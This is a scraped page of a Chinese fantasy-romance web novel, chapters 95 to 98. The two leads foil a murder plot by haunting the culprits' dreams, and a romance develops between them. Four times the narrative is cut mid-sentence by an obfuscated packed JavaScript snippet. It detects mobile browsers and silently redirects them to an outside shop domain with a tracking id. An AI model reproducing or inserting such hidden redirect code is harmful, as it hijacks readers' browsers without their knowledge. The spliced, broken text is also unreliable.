;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688991|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这么一个副手。 可春渐满不是副手,他就像画的另一个主人一样,现在连神兽都很听他的话。 “哎,不知道春渐满怎么想的。”独孤尽叹了口气,他头一次感觉到情感带给他的困扰。 换做之前,他有什么想问的就直接问了,可真正认识到自己的感情,他反而不敢问了。 万一人家没这个意思,他问了不是徒增尴尬吗? 而且,就现在这样也挺好的,捅不捅破那层窗户纸也没什么差别。 不过,今晚他要让酒店说房间没空位了,把套间改成大床房。 稍微试探一下应该不过分吧。 独孤尽算盘珠子打得很响,就等春渐满那边救人回来了。 春渐满却不太顺利,他既没能见到柴明知,也没能见到老孙头。 这两人就像是非要惹出什么大事一样,按照命运既定的路线前行,春渐满没有独孤尽的能力,无法直接定位两个人的行踪,多方打听,每次赶到地方,这目标人物就已经离开了。 今天换成春渐满郁闷了。 独孤尽可没准备小甜水,不仅如此,他还跟回到酒店的春渐满说,“收拾一下,换房间,酒店说我们这间套房后面几天已经在之前被其他人订掉了。” 春渐满对换房间没什么异议,他脑子里还是在想救人的事,“虽然你不想救他们,但我能力不够,你要辅助我,不能袖手旁观。” “什么?!春警官你有点太妄自菲薄了,怎么可能有你办不到的事?”独孤尽也不急着收拾东西了,他扯了椅子坐下,“什么事情难到你了?” “也不是太难,就是时机不对,像是有双无形的手在阻挠我见到那两人。”春渐满越想越觉得是这么回事。 “是不是画从中作梗?这人一定要你才能救?” “不能吧,虽然之前确实一直都是我,但神兽们也出了很多力,也有很多次我都袖手旁观,让神兽们直接上的。”独孤尽想了一下,又觉得可能情势不太一样。 他让神兽们做的大多数都是让施害者张口的活,救人还真没怎么救过。 就连他自己,救人都救得极少。 “不能,不能,画不能干这么恶心的事。”独孤尽虽然嘴上在否认,可心里也慌了起来。 “我回去问问。”没等春渐满挽留,独孤尽就消失在了春渐满面前。 春渐满想追过去,但又怕他在,画不好跟独孤尽说实话。 “你到底什么意思,都暴露自己能开口了,现在就别装哑巴了。”独孤尽一把抓住了画框,顺手变出了一把刀,刀尖直接指着画。 “人只能你救,这是天意。”画没办法,还是破戒开口说了话。 他还是喜欢自己主人以前平和的样子,而不是变成人类后总是一惊一乍的样子。 “天意?难不成我是天?”独孤尽张口胡来,可画又继续当了哑巴,再拿刀比划,它也不再开口了。 不会吧…… 我不能真是天吧?! 95. 东郭先生与狼 独孤尽没和画纠缠太久,毕竟,再怎么纠缠,画都不会背叛以前的自己,倒是也很忠诚了。 独孤尽一瞬间有点儿羡慕以前的自己。 可能,那时候的他足够强大,能够让这些个能力强大的都信服。 “怎么样?”春渐满见独孤尽回来了,赶忙问了一句。 可很快,不用独孤尽回答,春渐满都知道答案了。 “既如此,我也不能帮你了,这次的人还得你救。”兜兜转转,这次的劫难,还是得独孤尽来抗。 春渐满可以打辅助,但却不能挑头阵。 “算了,人生在世,总要干些不如自己愿的恶心事。”独孤尽摆摆手,不愿再想这些,与其想这个,不如想想眼前人。 独孤尽盯着春渐满又看了片刻,直到把春渐满盯毛了才收回眼神。 “你看什么?” “看你,看看我们硬朗帅气的春老师。”独孤尽那双桃花眼里的阴霾被他掩去,现在,里面有的都是春渐满的倒影。 “又贫,有事说事。”春渐满没接茬,他可不信独孤尽会无缘无故盯着他看,不知道又在打什么主意。 “没什么,快收拾,还要换房间。”独孤尽提醒春渐满,他自己倒是收拾得很快,没一会儿就把东西都打包好了。 春渐满也没什么,就几套衣物,一会儿也准备好了。 直到他们换到大床房时,春渐满才隐约觉得事情有点儿不对劲。 “我再去前台问问,没有套间,标间总该有吧。”哪有给两个男人换成大床房的。 “诶,别问了,我已经问过了,不然我肯定不会同意。”独孤尽故意装作自己极其不满意的样子,而他这副样子还真骗过了春渐满,毕竟独孤尽没有道理在这上面骗他。 “明天看看有没有人退房,我们让酒店预留标间。”春渐满仍旧不死心。 “放心,我都跟酒店说过了。”独孤尽打下包票,实际上他压根就没跟酒店讲过这些。 但凡春渐满去问一句都要露馅。 这次两人洗完澡躺在床上的时候都有些不自在,最不自在的不是春渐满,反而是独孤尽。 他想要进一步确认自己的心意,又不知道应该做到哪一步。 “睡不着?”春渐满翻身转过来,问独孤尽。 在昏暗的光线下,仍旧能看到那张棱角分明的硬朗脸庞,独孤尽伸手摸了一下春渐满的眉眼。 “你干什么?!”春渐满一把抓住了他的手腕,饶是他现在也摸不透独孤尽了。 “梦游?” “没梦游,我就是想看看你这似刀锋的眉剌不剌手。”独孤尽胡乱找了个借口,偏偏这个借口,春渐满还信了。 他宁愿相信独孤尽的那些奇怪想法,也不愿往独孤尽对他对了情这方面想。 “眉毛怎么可能剌手,你真当我浑身都是武器?”春渐满颇觉无语,松开了扣住独孤尽的手。 独孤尽一获得自由就立马继续作乱,反正已经跟春渐满说开了,那他再摸两下也是正常。 “你还要摸哪里,我还有哪里看起来锋利?”春渐满重新抓住越来越往下,已经快探到他衣领里的那只手。 “你到底想干什么?”忍无可忍,春渐满一个翻身直接压在了独孤尽身上,单手就扣住了独孤尽两只手腕,并为了方便动作,把手固定在了独孤尽头顶上方。 这个被束缚的姿势并不难受,难受的应该是在上方扣着他、提防着他的春渐满。 独孤尽想到这里,没来由又乐起来,随着独孤尽笑得越来越夸张,剑拔弩张的气氛瞬间消散。 “哈哈哈哈……” “不好意思,真不好意思,我没想笑,真的,就是一时忍不住。”独孤尽越描越黑,他现在连头发丝都透着喜悦。 “有什么好笑的,你现在可被我挟持住了,想跑都跑不了。”春渐满实在不懂,但这不妨碍他生火。 怒起的时候,人也容易起邪念,他借着光线昏暗,低头与独孤尽贴得近在咫尺。 两人的呼吸逐渐交缠在一起,变得焦灼。 许是察觉了一丝危险,独孤尽额头沁出了些汗珠,他转动了一下自己被春渐满抓得滚烫的手腕,“春警官,松一松,我又不会跑,别把我像犯人一样逮着。” 独孤尽开始求饶,这一开口,春渐满立马松了手,他重新翻身从独孤尽身上下去,转到了床的另一边,甚至距离独孤尽一臂距离。 这间大床房里的床比一般的大床房要稍微大一些,说实话,都能当大通铺睡上四五个。 “躲得这么远干什么,这边天不热了,也不用这么嫌弃我这个热源吧。”独孤尽表现得深受委屈。 “睡觉,明天还要救人。”春渐满一句话打断独孤尽。 他就不该在独孤尽睡不着的时候跟独孤尽搭话,现在搭得连他自己都睡不着了。 胸口有热血在沸涌,这股热血上不来也下不去,就聚集在心脏处,滚热滚热。 “春警官,你是不是有点紧张,我都听到你的心跳了。”安静了会儿,独孤尽没忍住又开了口。 这边天不热,且已经立秋了,他们就没开空调,可现在这情况,不开空调不行了,屋里的气温直线上升。 已经开始燥的慌了。 独孤尽打开了小夜灯,把空调调了调,先除湿,后又制冷。 “别开太凉,晚点再冻感冒了。”春渐满明显能感觉到冷风直往他那儿吹,虽然爽,但也不能贪凉。 “知道,我先开低点儿降降温,等会儿就调回去。”独孤尽借着小夜灯颇为暧昧的暖黄色灯光看了眼春渐满,他正闭着眼睛,睡得极其正经。 双手双脚都乖乖摆着,眼睛也闭着,不知道的还以为是哪个宝宝在幼儿园午睡。 “你倒是能睡着。”独孤尽小声嘀咕了一句。 这一晚上,独孤尽没再作妖,他还牢记着自己没完成的使命,努力好好休息。 独孤尽找柴明知就很顺利了,就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688992|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是水流顺势而下,春渐满这回没分头行动,他就跟在独孤尽身边,眼看着他劝说完这个,又去给另一个敲棒子。 “我要有你这么顺利,昨晚我们就可以回画里了,也不用再住那家酒店。”春渐满越看越羡慕,独孤尽特别像那种当下短剧里最流行的气运之子,什么事儿他来办就会变得特别顺利。 独孤尽可一点儿没这个自觉,他从接手画以来,做事都很顺利,他已经习惯了。 “我本想跟你做笔大项目,但前打听后打听,怎么听说你会抽手下兄弟的成啊。”独孤尽说话毫不客气。 “你听谁说的,跟我肯定是竞争关系才会败坏我的名声。”柴明知没承认,他脸上甚至有薄怒。 “听谁说的不重要,重要的是,听说你抽成抽得挺狠啊,抽一半?”这是独孤尽胡乱说的,他跟春渐满了解到的,柴明知估计抽的不多,抽了一两成。 果不其然,柴明知不再坚持着自己没抽成了,他赶紧为自己辩驳,“谁胡说八道,我只抽了一成。” “我带他们做项目,抽一成已经仁至义尽。”柴明知梗着脖子,觉得自己做得很仗义。 “抽一成倒是不多,但却有人跟我说你要抽五成。”独孤尽继续咬着这点激柴明知。 “谁?!到底是谁这么没良心。”柴明知平时再冷静,这会儿也气了。 “还能有谁,你想想这次的项目有谁没参与。”独孤尽故意挑起了争端。 “老孙头?!不可能,他怎么可能背后捅我刀子?!”柴明知这反应倒不似作伪。 “种什么因得什么果,你想想自己种下了什么。”独孤尽继续单刀直入。 “我对他好着呢,每次还都把多拿的钱分他一半,他为什么要这么编排我?!”柴明知似是真不明白。 “他家老人……”独孤尽又提了个醒,也是为了看柴明知的反应。 “就算他家里老人瘫痪,没法来这次项目,那也不能这么诬陷我啊!” 不对……这事不对……难不成柴明知没问题,一切都是老孙头捏造的? 独孤尽重新回忆了一下先前画让他预知时,他作为柴明知的感受。 当时,他并不觉得柴明知是个坏人,且被人推落特别让人意外。 “柴明知,我也不跟你兜弯子了,你跟老孙头之间有什么只有你们自己最清楚,现在,他坚定地认为是你,让他家老人瘫痪,你想想你做了什么让他这样误会,还是说,老人瘫痪跟你脱不了干系?” 春渐满想过独孤尽会让柴明知进“怪奇诊所”,想过独孤尽会进入柴明知的精神世界,想过种种,就是没想过,独孤尽会直接在现实世界,这么直白地问人话。 “他家老人瘫痪跟我有什么干系?!他家老人要不是出意外的时候正好被我碰见,送进医院抢救,早就一命呜呼了,他不感谢我,反而乱咬人。”柴明知气急,他团团转,“当真是东郭先生与狼!” “我这些年待他这样好!待他如亲兄弟!!!” 96. 下地狱 如若事情真如柴明知所说,那老孙头就是那不知好歹的狼,断然是不能有好结果的。 独孤尽头疼地揉了揉太阳穴,他重新定睛看着柴明知,“你在哪救的人?” “就在他家小区里,老太太在外面遛弯,许是没站稳,或者别的什么原因,摔在地上,我给他们叫的120,这费用还是我贴的,他们家怎么能倒打一耙?!这么多年,有这心思我都没看出来!”柴明知不用多回忆,这种事情本就难碰上,他记忆深刻。 “那在医院一应事宜还是我安排的,虽说医疗费是老孙头自己出的,但这该他自己出啊,我就算把他当兄弟,也没道理给他出钱啊。”柴明知越说越忿懑,“你不会是来挑拨离间的吧?!” 他扭头重新打量独孤尽,毕竟,比起一个外人,他还是更相信自己朝夕相处这么多年的兄弟。 “我得去问问他,我要去问问他。” 独孤尽本就是打着把事情挑破,让他们自己去明斗的心思,因为老孙头要使的是阴招,只要,这事情被挑破了,他就没法致柴明知于死地了。 但现在,柴明知着急上火去找人还真不行,“缓缓,想想该怎么问,就像你说的,万一是我挑拨离间呢,你要怎么说才能问出真的。” “我问他,他还能不告诉我?还能没破绽?!”柴明知觉得自己看人看了这么多年,问点事儿,对方的反应他绝对能判断。 柴明知走的很快,独孤尽跟春渐满对视了一眼,决定暗中观察。 这事情究竟如何现在还没定论,不好随意插手。 且,怪就怪在,到现在为止,画都没再拉他看其它预示。 柴明知找上门时,老孙头正吃完了饭,在那收拾,小孩儿在逗猫,老孙头的媳妇则在批改带回来的学生作业。 “老哥,饭吃过了?”柴明知被迎进门,他随意张望了一下。 “刚吃完,这不还在收拾,你不是正接了新项目在忙吗,有空过来看我这个老头子?”老孙头心下有些不安,兴许是要做坏事,总是疑神疑鬼。 “再要忙新项目也得抽空来看看老哥不是,给孩子带了点吃的。”柴明知放下奶和饼干,跟以往一样,把这当自己家,过去帮老孙头一起收拾。 “哪里要你动手,我自己来就行。”老孙头一边说这话,一边咬牙切齿。 老孙头的反应不明显,柴明知本该注意不到,可偏偏独孤尽今天跟他说了那番话,让他额外留意,还真让他察觉出了点不对劲。 柴明知收了手,以往他是一定会继续帮着老孙头收拾的,可这回,他重新坐回了厅堂中,他看看紧闭的几个房门,又看看跟小猫玩的孩子,竟有些演不下去了。 恨不能直接跟老孙头挑明了问。 老孙头因为心虚,在厨房收拾了好一会儿,久久都不肯出来,就等着柴明知自己回去。 可他不知道柴明知这回怎么了,好一会儿也不提出回去。 “老哥,老人的身体最近可还好?”柴明知想了想,还是提了一嘴。 老孙头听到柴明知问起这些,心中怒火燃起,却又不想被看出来,只能低头吃茶,“还是老样子,只能伺候着。” “老哥莫不是怪我救的不及时?”柴明知想不通,能救上人就不错了,难不成老孙头觉得人死了比这么拖着好? “你今天怎么了,我什么时候这么想过?”老孙头恶人先告状,开始质疑柴明知。 “你给我句准话,真没怨过我?”柴明知继续问,但没纠着老人瘫痪这事了。 老孙头这下是真慌了,柴明知一向都是忙起来不见人影的,也已经很久没来看过他了,这回突然过来,又说了这些莫名其妙的话,他怕自己的计划被人捅了出去。 “没,你是不是听小人说了什么,你对我这么好,我怎么会怨你?”老孙头后背已经沁了一层汗,只是面上仍旧波澜不惊。 可他的表情太过僵硬,还是让柴明知看了出来。 老孙头这是在怨他了,且怨得挺深啊,这么藏着掖着。 柴明知觉得伤心,既然自己得到了答案,也不想再跟老孙头多说废话。 “我先回去了。”柴明知来的突然,走也走的突然。 这晚,老孙头是别想睡个好觉了。 偷听偷看的独孤尽和春渐满这会儿没再跟着柴明知了,既然柴明知真不是那恶人,就只要盯着老孙头了。 独孤尽又一次潜入了老孙头的精神世界,他仍旧愤恨怨怼,没有一点想要收手的意思。 独孤尽想了个馊招,他直接捏了个影像,让柴明知在老孙头面前一遍一遍坠落,血肉模糊。 第一次老孙头还又怕又畅快,到第十次的时候,老孙头就只剩下害怕了。 因为独孤尽让这个影像满身是血地往前爬,一步一步走到了老孙头面前,用沾着血的手抓住了他的裤脚,不让他离开,生生把他拖进了地狱。 地狱是什么样,独孤尽不知道,但他能模拟出那种险恶场景,极其骇人。 老孙头哪里见过这种场景,哪怕是在梦里,也没见过。 他看了就晕了过去,也就是这时,独孤尽离开了他的精神世界。 “妥了?”春渐满见独孤尽回来,立马问他。 “百分之八九十吧,就怕他觉得是梦,醒了还是要做恶事。”独孤尽准备再观察一下,不行的话再想其它办法。 “走,去见见张华。”独孤尽拽着春渐满,直接瞬移到了张华家附近。 让“怪奇诊所”的范围覆盖张华家,独孤尽轻而易举侵入了张华的梦。 张华没有失眠,他睡得很香,也不知道这种想要别人命的家伙怎么能有这么好的睡眠,而那些善良的人换了抑郁症,终日却睡不好。 独孤尽照搬了地狱的场景塞进张华的梦,张华也从未见过这种画面,立马在梦里吓得屁滚尿流,甚至在梦外都尿床了。 “别别别杀我!”张华在梦里跪地求饶,他也不知道自己该跟什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688993|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么求饶,毕竟这里没一个像人,都像是,像是怪物。 “把你的罪行都说清楚。”独孤尽扮演了阎王的角色,他坐在高处,审视着张华。 “我,我,我没犯什么罪啊!”张华不肯承认,且在潜意识里,他觉得有些事他都是假借的别人之手,他哪里有什么罪呢。 “好好想想,否则,去油锅里想。”独孤尽才不惯着他,直接一抬手,泼翻了一个油锅,里面的油星子溅到了张华手臂上,立马把他烫得吱哇乱讲。 “我说我说我说,别把我丢油锅里!”张华慌张得不行,他拜服在地上,不肯起来,额头上豆大的汗珠一颗颗往下滚落。 “我,我偷税漏税,我前些年把把一只流浪狗踹死了带回家剥皮吃了,我酒驾,我……”张华这一说,就停不下来了。 独孤尽这么一听,头都大了,这张华真不是什么好人,但他干的坏事也忒多了点。 一时半刻他竟说不完,且不知道是不是油锅烫人,他实在害怕,不管什么鸡毛蒜皮的坏事他都混着说了出来。 可偏偏,他就是没提那害人的行为。 独孤尽不耐烦了,那些鸡零狗碎的事该是真的阎王来断,不该是他这个冒牌货在这听。 “说重点!” “重点,重点……”张华眼珠子滴溜溜转着。 “扔油锅里去!”独孤尽不跟他废话,让虚影架着他就要往油锅里丢。 这油锅虽是在人梦里,但精神被灼伤的痛不会比□□差。 “我杀人!我要杀人,但是这事儿我还没干呢!”张华还没被架着走几步,他就喊了起来。 “我还没杀呢!我不杀了!不杀了!” “不杀了?以前杀过没有?”独孤尽继续追问。 “没……没……”张华说到此处,又看了一眼不远处沸腾着的油锅,咬了咬牙,“杀了,杀过两个。” 独孤尽没想到自己还真能有意外收获,这下有的问了。 他直接在梦里把张华问了个遍,这两桩命案发生得已经有些年代了,估计取证都很困难了,只能靠张华自首。 张华这人狡猾,他向来只做那拉线的人,从来不是自己动手,钱虽然花了,却花的也不是什么大钱,人也被铲除了,他也接到了新项目,拿了更多钱。 独孤尽从张华的梦里退出时,已经勒令让张华去自首,否则他会直接让他下地狱。 至于张华听不听话,他只要多在张华的梦里来那么几次,他想不去自首都难。 毕竟,没有谁能接受反复进地狱这件事的。 “怎么样?”春渐满等的又点儿犯困了。 “放心吧,这事儿解决了,回酒店,睡个安稳觉。”这回独孤尽觉得自己不用担心了。 春渐满困得还没回过神,就被独孤尽揽着直接回到了酒店的大床上。 且就这么被独孤尽搂着睡了过去,独孤尽也不知道是不是装睡,带着他躺上床就一动不动了,任他怎么推。 97. 抽丝剥茧 当清晨的第一缕阳光照射到春渐满脸上时,破天荒地,他发现独孤尽已经不在床上了,他苏醒了。 “怎么起这么早?”春渐满刚起床,就看到独孤尽坐在窗边看着窗外。 “看了场日出,看你睡得熟没叫你。”独孤尽伸了个懒腰,那双桃花眼里还盛着点点细碎的日光,有些暖。 “问你个事儿。”独孤尽懒洋洋地朝春渐满走过去,一直走到他跟前才露着个傻乎乎的笑问他,“你单身?” “你问这个干什么?”春渐满没明白,他一边抹着剃须沫一边伸手将独孤尽推远。 “关心一下,有问题吗?”独孤尽手有点欠,仗着自己身高比春渐满高出那么点儿,就顺手撸了一把他的脑袋。 “有时间想这些,不如想想正事。” “正事,又是正事,怎么我想的就不是正事了?”独孤尽有点头疼,他也不明白自己这么个咸鱼怎么就喜欢上了个工作狂。 “你想什么正事了?” 独孤尽上前拿毛巾帮春渐满把嘴上的泡沫擦掉,才捧着他脸颊认真端详,“我在想,跟你一直合作这件正事。” “这个你不用担心,我早就说过,要跟你共同进退,决不食言。”先开窍的春渐满这会儿反倒是不开窍了,他认准了独孤尽不会想那些风花雪月的事,也就压根不往这些上面想了。 “好……”独孤尽有些无力,这种跟人说不明白的感觉,就像隔了一层雾,怎么都拨不散。 “回家了。”独孤尽半搂着春渐满。 “回什么,不回,还这么多事,回什么回?”春渐满一掌拍开独孤尽的爪子。 “还有什么事?该布的局已经布好,那些人也不会再有生命危险,张华也会去自首,春警官,该休息时就休息。”独孤尽再次劝诫。 “这次可没神兽盯梢,你怎么知道不会有意外。”春渐满不赞同这种事做到一半就走人的做派。 “那是几个家庭,不单单是一个人。” “我知道,可我也不是神仙,我就不需要自己的生活吗?”独孤尽快被这种工作狂逼疯了。 “你觉得自己不像神仙?”春渐满没见过神仙,却知道独孤尽用的都是神仙手段。 现在,不光是独孤尽一个人了,连他都能用这些神仙手段。 独孤尽在春渐满面前转了个圈,“你倒是好好看看,我哪里像什么神仙?” “神仙要是我这副德行,那是要被贬下凡的。”独孤尽说完这句话后,自己都愣住了。 他似有所感,神思放空看着春渐满。 “我觉得这句话有点熟悉,似乎听谁说过。”半晌,独孤尽才跟春渐满说了下一句话。 “谁说过?” “不知道,感觉像我自己说的,但我不确定,画肯定知道。”独孤尽顿了顿,“但画不会说,它不会告诉我。” “先不急着回去,我们把已知条件捋一下。”春渐满拉着独孤尽重新坐下来,他还拿了酒店的便签本,在纸上写写画画。 “你看,从一开始,你莫名其妙收获了这幅画,之后你就能进入画里,这个画里面有那么多神兽,各个本领高强,而它们自从见到你开始,就唤你‘主人’是不是?” “对,是从一开始就这么称呼我。”细想来,独孤尽也隐隐有了些眉目。 “你想,神兽们为什么会无缘无故对一个陌生人俯首称臣?唯一的可能性就是它们以前就认识你,你以前就是它们的主人。”春渐满在纸上画了几个圈,那神兽的模样画得叫一个惨不忍睹。 “画应该更了解你,可它明明能开口说话却装个哑巴,不跟你交流,肯定是你以前对它有命令,这说明什么?”春渐满循循善诱,那双鹰眸里闪着灿若星辰的亮光。 “不会吧……”独孤尽大致猜出来了,可他却不想接受这种猜测。 春渐满没让他逃避,“说明你以前是个工作狂,绝对不是你现在这种咸鱼状态,但你自己很了解自己,知道失去记忆,你可能会变成咸鱼,就让画一直监督你。” “那我自己监督我自己做这些有什么好处?”独孤尽实在不敢想自己以前竟然会是工作狂。 “肯定是有好处的,你不是说,被贬下凡这句话听起来耳熟吗?”春渐满把这几个字写在纸上。 “倘若,你是被贬下凡,能带的法器就是那幅画,那你就只能安排画来监督你,完成你在凡尘要完成的使命,说不定完成了就会重返天庭。”春渐满直接帮独孤尽把整条线都串联起来。 “饶了我吧,我可不想做什么神仙,我是不知道以前的我到底是怎么想的,但我一直都是咸鱼的性子,怎么可能,怎么可能是工作狂呢?”独孤尽甩着脑袋,他直觉的这是一场噩梦。 “有件事,我没跟你说,你那天喝醉后说自己是来渡劫的。”春渐满又想起了一个细节,他把这点也写在纸上。 “渡劫?那我就不是被贬下凡。”独孤尽立马推翻上一条,他恨不得直接把自己是个工作狂这条推翻。 “我渡什么劫?” “情劫。”春渐满在纸上重新写下这两个字。 他实在不好意思说,独孤尽当时说的是,他就是这个情劫。 “难不成是让我斩断红尘?”独孤尽觉的不太对劲,他在拿到这幅画之前,也不是个多正义的人,也不可能跟警方扯上关系,基本上不太可能会认识春渐满这号人物。 可正是有了这幅画,他才做了些事,才会认识春渐满,一直到这两天,才突然开窍,懂了这情之一字,若是这样,全都颠倒了。 他一开始连情都不懂,又何须断情,不是更像仙人。 总不能是让他懂了情,再断情吧? 说不过去。 “怎么了?”春渐满迟疑地看着独孤尽五颜六色变化着的脸。 “没什么,在想,还是不当这神仙了,好好当咸鱼过自己的小日子多开心,为什么一定要做那神仙?”独孤尽摆了摆手。 “许是成了神仙,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688994|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为天下人做事就更方便了。” “那我问问你,除了我,你还见过其它神仙吗?”独孤尽从不觉得自己是神仙,但既然春渐满帮他推测到这种地步,他就暂且认下来。 “宗门倒是见了些,神仙还真没见过。”如果不是认识了独孤尽,春渐满连那些宗门都不熟。 他原本连宗门会使用法术这点都不太信。 “这就是了,其它神仙都不救人,为什么我要救人?”独孤尽继续问。 “也不一定,许是其它神仙跟你一样,也躲在暗处,暗中帮了很多好人。”春渐满想起来什么,“像是有些人机缘巧合,必死的局也能有生路。” “可还有那么多的好人,遭受不公,说死也就死了。”独孤尽根本不信,凭着他这点影响力,能让所有坏人忌惮,不敢再行恶事。 就算坏人不行恶事,这天灾人祸也还是有许多,生老病死本就是天理,好人坏人都会生病,都会有意外。 “那我就问你一句。”春渐满见独孤尽越说越消沉,打断他,“你后悔自己这几年的所作所为吗?” “后悔啊,我恨不能没去看那个画展,没对画产生想要的心思。”独孤尽立刻给了春渐满回答,“但后来帮了好多人,挖出了好多罪犯让他们自首,这些我不后悔。” “不能因为我做好事不后悔就让我不过自己的生活吧,我又不是你们警察。”独孤尽这时候是真佩服春渐满,“我没你们终身奉献给民众的觉悟,我只想在过好自己的小日子的同时,抽空做点儿正义的事。” “足够了。”春渐满点了点头,“这样就足够了。” “啊?你不骂我吗?”独孤尽睁大了眼睛,往前凑了一点,挨近春渐满瞧,“这不像我们春警官啊,怎么这么纵容我了?” “你又没吃公家饭,能时不时有点侠义之举就很不错了。”春渐满这回没往后退,反而直直地盯着独孤尽的双眸。 “实在累了就回去吧,我让这边的警方多盯着点这几个人。”春渐满拍了拍独孤尽肩膀,他没打算跟独孤尽一起回去。 确实,有时候不能太依赖神兽和这种非常人的能力,如果有一天,他们丧失了这种能力,那案子还查不查?人还救不救了? 春渐满再一次发觉自己太过依赖这短暂拥有的能力了,甚至本来都不是他该拥有的能力。 这是他从独孤尽那借来的,也不知道能借多久。 绝对不能再对它产生依赖了。 “我等你吧,等你安排好了,我们一起回去。”这次,独孤尽没有再爽快地直接自己回画里,反而扭扭捏捏起来。 “你是不是有什么话没跟我说全,等我安排好了你必须跟我说清楚。”春渐满终于发现了独孤尽的不对劲。 这个新发现让他有点儿激动,有点儿不切实际的期待。 “那我还是不等你了,我还没想好怎么跟你说,我先回去想想。”独孤尽脸上突然热起来,不想让春渐满瞧见他害臊的样子立马溜之大吉。 98. 表明心意 再次回到画中时,独孤尽看哪儿都顺眼起来,按照先前的推测,他跟这些神兽应该都相处很久了,是名正言顺的它们的主人。 至于嘴硬的画,他也不那么在意它不开口了。 “恭迎主人——” 独孤尽在齐刷刷的声音里,拖了张沙发,躺在了一众神兽面前。 “你们想回天上吗?”他开始诈这些神兽。 “主人,我们的任务完成了吗?可以回去了?”果不其然等来了神兽们兴奋的反应。 “当然……是还没完成。”独孤尽故意拖长了音,现在更加确定之前的猜测了。 “你们得给我出出主意,不然养着你们干什么?” “这还要出主意?春老师已经都您……那样了。”有神兽实在看不得独孤尽那副又直又蠢的样子。 “诶,你,就是你,你来说说,春老师对我哪样了?”独孤尽挑出了混在众多神兽里忍不住喃喃自语的某只。 “我不说,我什么都没说,主人自己想去吧。”神兽化成了一阵烟雾直接溜走了。 “它不说可以,你们来说。” “谁要是敢再跑了,就休怪我惩罚。”独孤尽从沙发上坐起来,他双腿交叠,目光如炬,恨不能把神兽们盯出个洞来。 “你有什么来问我,为难它们干什么?”春渐满在现世交代完事情就回来了,正巧碰上独孤尽大张旗鼓在这审讯。 “春老师!您可不能让他如意!晾着他!”见到春渐满,神兽们的情绪一下子高涨起来。 “已经让你先回来了,怎么样,想好了吗?”春渐满自然没打算就这样放过独孤尽,难得独孤尽看起来像是开了那么点儿的窍。 再加上这些神兽的反应,他多半能猜出来。 “没想好呢,还要再多想想。”独孤尽选择做缩头乌龟,他还得再仔细想想,没想够呢。 当然,要是能抱着喜欢的人想,估计会事半功倍。 “你跟我一起去休息。”独孤尽是这么想的,也是这么做的,他拉上了春渐满,一个转身就瞬移回了他的房间。 “春老师陪我一起想。”独孤尽抱着春渐满都尤嫌不够,还得寸进尺地把脑袋埋在春渐满的颈窝里,蹭了又蹭。 春渐满直觉得自己像被一只可怜的小狗蹭了,有点无奈,“我陪你一起想。” “想明白了就要告诉我,不要拖延。”春渐满的语气还是冷硬,可独孤尽却从中得出了纵容,心下更加欢喜,恨不能抱着春渐满转几个圈。 “别想些不切实际的事,乖乖想。”春渐满似乎有所感应,生怕独孤尽做出什么出格的事,赏了独孤尽几个爆炒栗子。 独孤尽捂着脑袋,继续在春渐满颈间蹭,声音还委委屈屈,“怎么打我,打坏了就想不明白了。” “真想不明白?”春渐满明显不信,却还是顺着独孤尽的话问了一句。 可他下一秒就转了话锋,“想不明白就算了。” 春渐满不当鹌鹑了,他挣脱了独孤尽的怀抱,并放下狠话,“想不明白,以后就别对我动手动脚。” “我虽然现在是单身,但保不齐什么时候就有对象了,你这样拉拉扯扯让我对象误会了怎么办?” “怎么会让你对象误会?!你对象难不成还能是神兽不成?!”独孤尽顺着春渐满的话进行反驳,可反驳完又觉得自己上当了。 “神兽都比你聪明。”春渐满没耐心再陪独孤尽耗着,他作势就是往外走。 “春渐满!你过来!”独孤尽握住了春渐满的手臂,将他扯回自己怀里,“你觉不觉得我们的身高正好?” “有什么正好?” “正好,我一低头就能看到你红透的耳尖啊。”独孤尽伸手戳了戳春渐满那早就把他出卖了的耳朵。 “其实除了身高,我们的长相、性格也很搭。”他的手指顺着春渐满的耳朵滑到了脸颊。 